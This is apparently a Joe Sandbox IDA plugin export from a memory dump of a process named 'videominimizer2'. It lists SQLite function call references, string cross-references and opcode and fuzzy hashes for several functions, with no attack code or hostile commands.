sqlite3_column_int64.SQLITE3 ref: 60967BB0
sqlite3_column_int64.SQLITE3 ref: 60967BCF
sqlite3_column_int64.SQLITE3 ref: 60967BE6
sqlite3_column_bytes.SQLITE3 ref: 60967C05
sqlite3_column_blob.SQLITE3 ref: 60967C1E

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED50

sqlite3_bind_int64.SQLITE3 ref: 60967C72
sqlite3_step.SQLITE3 ref: 60967C7D
memcmp.MSVCRT ref: 60967D4C
sqlite3_free.SQLITE3 ref: 60967D69
sqlite3_free.SQLITE3 ref: 60967D74
sqlite3_free.SQLITE3 ref: 60967FF7
sqlite3_free.SQLITE3 ref: 60968002

Part of subcall function 609634F0: sqlite3_blob_reopen.SQLITE3 ref: 60963510
Part of subcall function 609634F0: sqlite3_blob_bytes.SQLITE3 ref: 609635A3
Part of subcall function 609634F0: sqlite3_malloc.SQLITE3 ref: 609635BB
Part of subcall function 609634F0: sqlite3_blob_read.SQLITE3 ref: 60963602
Part of subcall function 609634F0: sqlite3_free.SQLITE3 ref: 60963621

sqlite3_reset.SQLITE3 ref: 60967C93

Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE

sqlite3_reset.SQLITE3 ref: 60967CA7
sqlite3_reset.SQLITE3 ref: 60968035
sqlite3_bind_int64.SQLITE3 ref: 60967B72

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

sqlite3_bind_int64.SQLITE3 ref: 6096809D
sqlite3_bind_int64.SQLITE3 ref: 609680C6
sqlite3_step.SQLITE3 ref: 609680D1
sqlite3_column_int.SQLITE3 ref: 609680F3
sqlite3_reset.SQLITE3 ref: 60968104
sqlite3_step.SQLITE3 ref: 60968139
sqlite3_column_int64.SQLITE3 ref: 60968151
sqlite3_reset.SQLITE3 ref: 6096818A

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED2B
Part of subcall function 6095ECA6: sqlite3_bind_value.SQLITE3 ref: 6095EDDF

sqlite3_reset.SQLITE3 ref: 609679E9

Part of subcall function 609160CD: sqlite3_realloc.SQLITE3 ref: 609160EF

sqlite3_column_bytes.SQLITE3 ref: 60967587

Part of subcall function 6091D5DC: sqlite3_value_bytes.SQLITE3 ref: 6091D5F4

sqlite3_column_blob.SQLITE3 ref: 60967572

Part of subcall function 6091D57E: sqlite3_value_blob.SQLITE3 ref: 6091D596

sqlite3_reset.SQLITE3 ref: 609675B7
sqlite3_bind_int.SQLITE3 ref: 60967641
sqlite3_step.SQLITE3 ref: 6096764C
sqlite3_column_int64.SQLITE3 ref: 6096766E
sqlite3_reset.SQLITE3 ref: 6096768B
sqlite3_bind_int.SQLITE3 ref: 6096754F

Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704

sqlite3_bind_int.SQLITE3 ref: 609690B2
sqlite3_bind_blob.SQLITE3 ref: 609690DB
sqlite3_step.SQLITE3 ref: 609690E6
sqlite3_reset.SQLITE3 ref: 609690F1
sqlite3_free.SQLITE3 ref: 60969102
sqlite3_free.SQLITE3 ref: 6096910D

Strings

, xrefs: 60968643
d, xrefs: 6096875D

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_reset$sqlite3_step$sqlite3_column_int64sqlite3_free$sqlite3_bind_int64$sqlite3_bind_int$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mprintf$sqlite3_column_intsqlite3_mutex_leave$memcmpsqlite3_bind_blobsqlite3_bind_valuesqlite3_blob_bytessqlite3_blob_readsqlite3_blob_reopensqlite3_initializesqlite3_mutex_entersqlite3_prepare_v2sqlite3_reallocsqlite3_value_blobsqlite3_value_bytes
String ID: $d
API String ID: 2451604321-2084297493
Opcode ID: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
Instruction ID: 6b7ea73e19bc996eb6a422b8fcf26663d3cb25e4dd91ceba81a4d6a678ae72ab
Opcode Fuzzy Hash: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
Instruction Fuzzy Hash: 2CF2CF74A152288FDB54CF68C980B9EBBF2BF69304F1185A9E888A7341D774ED85CF41

Function 6096A5EE Relevance: 81.5, APIs: 45, Strings: 1, Instructions: 1006COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6096A64C
sqlite3_value_bytes.SQLITE3 ref: 6096A656
sqlite3_strnicmp.SQLITE3 ref: 6096A682
sqlite3_strnicmp.SQLITE3 ref: 6096A6BC
sqlite3_mprintf.SQLITE3 ref: 6096A6F9
sqlite3_malloc.SQLITE3 ref: 6096A754
sqlite3_step.SQLITE3 ref: 6096A969
sqlite3_free.SQLITE3 ref: 6096A9AC
sqlite3_finalize.SQLITE3 ref: 6096A9BB
sqlite3_strnicmp.SQLITE3 ref: 6096B04A

Part of subcall function 6096A38C: sqlite3_bind_int.SQLITE3 ref: 6096A3DE
Part of subcall function 6096A38C: sqlite3_step.SQLITE3 ref: 6096A435
Part of subcall function 6096A38C: sqlite3_reset.SQLITE3 ref: 6096A445

sqlite3_value_int.SQLITE3 ref: 6096B241
sqlite3_malloc.SQLITE3 ref: 6096B270
sqlite3_bind_null.SQLITE3 ref: 6096B2DF
sqlite3_step.SQLITE3 ref: 6096B2EA
sqlite3_reset.SQLITE3 ref: 6096B2F5
sqlite3_value_int.SQLITE3 ref: 6096B43B
sqlite3_value_text.SQLITE3 ref: 6096B530
sqlite3_value_bytes.SQLITE3 ref: 6096B576
sqlite3_free.SQLITE3 ref: 6096B5F4

Strings

optimize, xrefs: 6096A677

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_stepsqlite3_strnicmp$sqlite3_freesqlite3_mallocsqlite3_resetsqlite3_value_bytessqlite3_value_intsqlite3_value_text$sqlite3_bind_intsqlite3_bind_nullsqlite3_finalizesqlite3_mprintf
String ID: optimize
API String ID: 1540667495-3797040228
Opcode ID: ab382b16e3f59fac809a38361d516dac1e6c4c02a096abfb60effccae4f38c9b
Instruction ID: 15d53f9c7948a495e2c6926a79545eea34293df74e7a3e63ea56b3727437b729
Opcode Fuzzy Hash: ab382b16e3f59fac809a38361d516dac1e6c4c02a096abfb60effccae4f38c9b
Instruction Fuzzy Hash: 54B2F670A142198FEB14DF68C890B9DBBF6BF68304F1085A9E889AB351E774DD85CF41

Function 609660FA Relevance: 39.4, APIs: 19, Strings: 3, Instructions: 926COMMON

Download Yara Rule

APIs

sqlite3_finalize.SQLITE3 ref: 60966178
sqlite3_free.SQLITE3 ref: 60966183
sqlite3_value_numeric_type.SQLITE3 ref: 609661AE
sqlite3_value_numeric_type.SQLITE3 ref: 609661DE
sqlite3_value_text.SQLITE3 ref: 60966236
sqlite3_value_int.SQLITE3 ref: 60966274
memcmp.MSVCRT ref: 6096639E

Part of subcall function 60940A5B: sqlite3_malloc.SQLITE3 ref: 60940AA1
Part of subcall function 60940A5B: sqlite3_free.SQLITE3 ref: 60940C1D

sqlite3_mprintf.SQLITE3 ref: 60966B51
sqlite3_mprintf.SQLITE3 ref: 60966B7D

Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA

Strings

ASC, xrefs: 60966CA5
DESC, xrefs: 60966CB3
x, xrefs: 609664F1

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_value_numeric_type$memcmpsqlite3_finalizesqlite3_initializesqlite3_mallocsqlite3_value_intsqlite3_value_textsqlite3_vmprintf
String ID: ASC$DESC$x
API String ID: 4082667235-1162196452
Opcode ID: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
Instruction ID: 01f4316cc9c65235d83944c747b96ccca9397e1276bdc6c450b31a73d7ca280a
Opcode Fuzzy Hash: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
Instruction Fuzzy Hash: AD921274A14319CFEB10CFA9C99079DBBB6BF69304F20816AD858AB342D774E985CF41

Function 6096923E Relevance: 29.3, APIs: 19, Instructions: 779COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3(?,?), ref: 609693A5
sqlite3_step.SQLITE3(?,?), ref: 609693B0
sqlite3_column_int64.SQLITE3(?,?), ref: 609693DC

Part of subcall function 6096A2BD: sqlite3_bind_int64.SQLITE3 ref: 6096A322
Part of subcall function 6096A2BD: sqlite3_step.SQLITE3 ref: 6096A32D
Part of subcall function 6096A2BD: sqlite3_column_int.SQLITE3 ref: 6096A347
Part of subcall function 6096A2BD: sqlite3_reset.SQLITE3 ref: 6096A354

sqlite3_reset.SQLITE3(?,?), ref: 609693F3
sqlite3_malloc.SQLITE3(?), ref: 60969561
sqlite3_malloc.SQLITE3(?), ref: 6096958D
sqlite3_step.SQLITE3(?), ref: 609695D2
sqlite3_column_int64.SQLITE3(?), ref: 609695EA
sqlite3_reset.SQLITE3(?), ref: 60969604
sqlite3_realloc.SQLITE3(?), ref: 609697D0
sqlite3_realloc.SQLITE3(?), ref: 609698A9

Part of subcall function 609129D5: sqlite3_initialize.SQLITE3(?,?,?,60915F55,?,?,?,?,?,?,00000000,?,?,?,60915FE2,00000000), ref: 609129E0

sqlite3_bind_int64.SQLITE3(?,?), ref: 609699B8
sqlite3_bind_int64.SQLITE3(?), ref: 6096934D

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

sqlite3_bind_int64.SQLITE3(?,?), ref: 60969A6A
sqlite3_step.SQLITE3(?,?), ref: 60969A75
sqlite3_reset.SQLITE3(?,?), ref: 60969A80
sqlite3_free.SQLITE3(?), ref: 60969D41
sqlite3_free.SQLITE3(?), ref: 60969D4C
sqlite3_free.SQLITE3(?), ref: 60969D5B

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64$sqlite3_freesqlite3_resetsqlite3_step$sqlite3_column_int64sqlite3_mallocsqlite3_realloc$sqlite3_column_intsqlite3_initializesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2
String ID:
API String ID: 961572588-0
Opcode ID: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
Instruction ID: dba6eef834311e7f80380fc62c490a647dd1765b4da9a7e0a506f520bf28697a
Opcode Fuzzy Hash: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
Instruction Fuzzy Hash: 9872F275A042298FDB24CF69C88078DB7F6FF98314F1586A9D889AB341D774AD81CF81

Function 60963143 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 60963159
sqlite3_bind_int64.SQLITE3 ref: 609633E6
sqlite3_mutex_leave.SQLITE3 ref: 609634B6

Strings

foreign key, xrefs: 609631B8
2, xrefs: 60963403
indexed, xrefs: 609631F0

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_mutex_leavesqlite3_stricmp
String ID: 2$foreign key$indexed
API String ID: 4126863092-702264400
Opcode ID: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
Instruction ID: 3d5d194cd292e354de8359ea213fef7e5121ae3f60f7d2d7ba557b44893e8b9c
Opcode Fuzzy Hash: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
Instruction Fuzzy Hash: 6BE1B374A142099FDB04CFA8D590A9DBBF2BFA9304F21C129E855AB754DB35ED82CF40

Function 6094A6C5 Relevance: 10.6, APIs: 7, Instructions: 144COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 6094A72B
sqlite3_step.SQLITE3 ref: 6094A73C
sqlite3_column_blob.SQLITE3 ref: 6094A760
sqlite3_column_bytes.SQLITE3 ref: 6094A77C
sqlite3_malloc.SQLITE3 ref: 6094A793
sqlite3_reset.SQLITE3 ref: 6094A7F2
sqlite3_free.SQLITE3(?), ref: 6094A87C

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_column_blobsqlite3_column_bytessqlite3_freesqlite3_mallocsqlite3_mutex_entersqlite3_resetsqlite3_step
String ID:
API String ID: 2794791986-0
Opcode ID: 324244e72ed1eb068e97444324dd06558e7f5640642cd65f7376e38a8826fd77
Instruction ID: 088d5e00ded46b3eb5457b54e5d33bc48436a4b712d77f6ae5dc1ca3eb859b7b
Opcode Fuzzy Hash: 324244e72ed1eb068e97444324dd06558e7f5640642cd65f7376e38a8826fd77
Instruction Fuzzy Hash: BE5110B5A042058FCB04CF69C48069ABBF6FF68318F158569E858AB345D734EC82CF90

Function 6093323D Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 432COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 609334A2
sqlite3_stricmp.SQLITE3 ref: 609334BB

Strings

DISTINCT, xrefs: 60933658
USING COVERING INDEX , xrefs: 609333F7
ORDER BY, xrefs: 60933671

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_stricmp
String ID: USING COVERING INDEX $DISTINCT$ORDER BY
API String ID: 912767213-1308749736
Opcode ID: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
Instruction ID: 4f43644a9add5c5df618cbd47cd61ce2203d262f2077f605e752fe25420d36ab
Opcode Fuzzy Hash: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
Instruction Fuzzy Hash: 2412D674A08268CFDB25DF28C880B5AB7B3AFA9314F1085E9E8899B355D774DD81CF41

Function 6094B407 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 6094B488
sqlite3_step.SQLITE3 ref: 6094B496
sqlite3_reset.SQLITE3 ref: 6094B4A4
sqlite3_bind_int64.SQLITE3 ref: 6094B4D2
sqlite3_step.SQLITE3 ref: 6094B4E0
sqlite3_reset.SQLITE3 ref: 6094B4EE

Part of subcall function 6094B54C: memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_resetsqlite3_step$memmove
String ID:
API String ID: 4082478743-0
Opcode ID: aa77e302053f557c70a8d8c80c1bb3ccc0b69d7e46be98bddd9db9cb48891f7f
Instruction ID: 9e7f29540a3c6f2d28ce6b101cd1a975f5529a8f599b89b7128c34d749e8d9ce
Opcode Fuzzy Hash: aa77e302053f557c70a8d8c80c1bb3ccc0b69d7e46be98bddd9db9cb48891f7f
Instruction Fuzzy Hash: DD41D2B4A087018FCB50DF69C484A9EB7F6EFA8364F158929EC99CB315E734E8418F51

Function 6094D33B Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 6094D354
sqlite3_mutex_leave.SQLITE3 ref: 6094D546

Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905D8B
Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DA4
Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DB8

sqlite3_stricmp.SQLITE3 ref: 6094D3DA

Strings

INTEGER, xrefs: 6094D462
BINARY, xrefs: 6094D45D, 6094D469

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_stricmp$sqlite3_mutex_entersqlite3_mutex_leave
String ID: BINARY$INTEGER
API String ID: 317512412-1676293250
Opcode ID: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
Instruction ID: cace79839434994537c0410bddb438ad3d501bddbf1b20fcc6a8a8bdb5da7fdd
Opcode Fuzzy Hash: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
Instruction Fuzzy Hash: 8E712978A056099BDB05CF69C49079EBBF2BFA8308F11C529EC55AB3A4D734E941CF80

Function 6094B54C Relevance: 7.6, APIs: 5, Instructions: 145COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 6094B582
sqlite3_step.SQLITE3 ref: 6094B590
sqlite3_column_int64.SQLITE3 ref: 6094B5AD
sqlite3_reset.SQLITE3 ref: 6094B5EE
memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: memmovesqlite3_bind_int64sqlite3_column_int64sqlite3_resetsqlite3_step
String ID:
API String ID: 2802900177-0
Opcode ID: f7dd783d858009ac2aa36dfb06bc3a4e86bc75c1920f7d1bf53ec4d0fe99899e
Instruction ID: fa681a173a9aa7ad5377a8f3376375fc0286f70c891b696e42c92f52458a3a0e
Opcode Fuzzy Hash: f7dd783d858009ac2aa36dfb06bc3a4e86bc75c1920f7d1bf53ec4d0fe99899e
Instruction Fuzzy Hash: 0B517D75A082018FCB14CF69C48169EF7F7FBA8314F25C669D8499B318EA74EC81CB81

Function 6093F42E Relevance: 6.4, APIs: 4, Instructions: 416COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 6093F443

Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8

sqlite3_mutex_enter.SQLITE3 ref: 6093F45C

Part of subcall function 60939559: memcmp.MSVCRT ref: 60939694
Part of subcall function 60939559: memcmp.MSVCRT ref: 609396CA

sqlite3_mutex_leave.SQLITE3 ref: 6093F8CD
sqlite3_mutex_leave.SQLITE3 ref: 6093F8E3

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: memcmpsqlite3_mutex_entersqlite3_mutex_leave$sqlite3_mutex_try
String ID:
API String ID: 4038589952-0
Opcode ID: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
Instruction ID: 916146ddc5613ce70bfe97dc7fabc38680eb49f4f4fdba01105907ea2da9c682
Opcode Fuzzy Hash: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
Instruction Fuzzy Hash: 87F13674A046158FDB18CFA9C590A9EB7F7AFA8308F248429E846AB355D774EC42CF40

Function 6094C64A Relevance: 6.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 6094A894: sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
Part of subcall function 6094A894: sqlite3_step.SQLITE3 ref: 6094A8CE
Part of subcall function 6094A894: sqlite3_column_int64.SQLITE3 ref: 6094A8E9
Part of subcall function 6094A894: sqlite3_reset.SQLITE3 ref: 6094A90F

sqlite3_bind_int64.SQLITE3 ref: 6094C719
sqlite3_step.SQLITE3 ref: 6094C72A
sqlite3_reset.SQLITE3 ref: 6094C73B

Part of subcall function 6094B54C: memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5

Part of subcall function 6094A9F5: sqlite3_free.SQLITE3 ref: 6094AA7A

sqlite3_free.SQLITE3 ref: 6094C881

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_freesqlite3_resetsqlite3_step$memmovesqlite3_column_int64
String ID:
API String ID: 3487101843-0
Opcode ID: 5f7c6ccdcb237f7a487fb09799aacf08d073da1bf61c53431d7ccff799043987
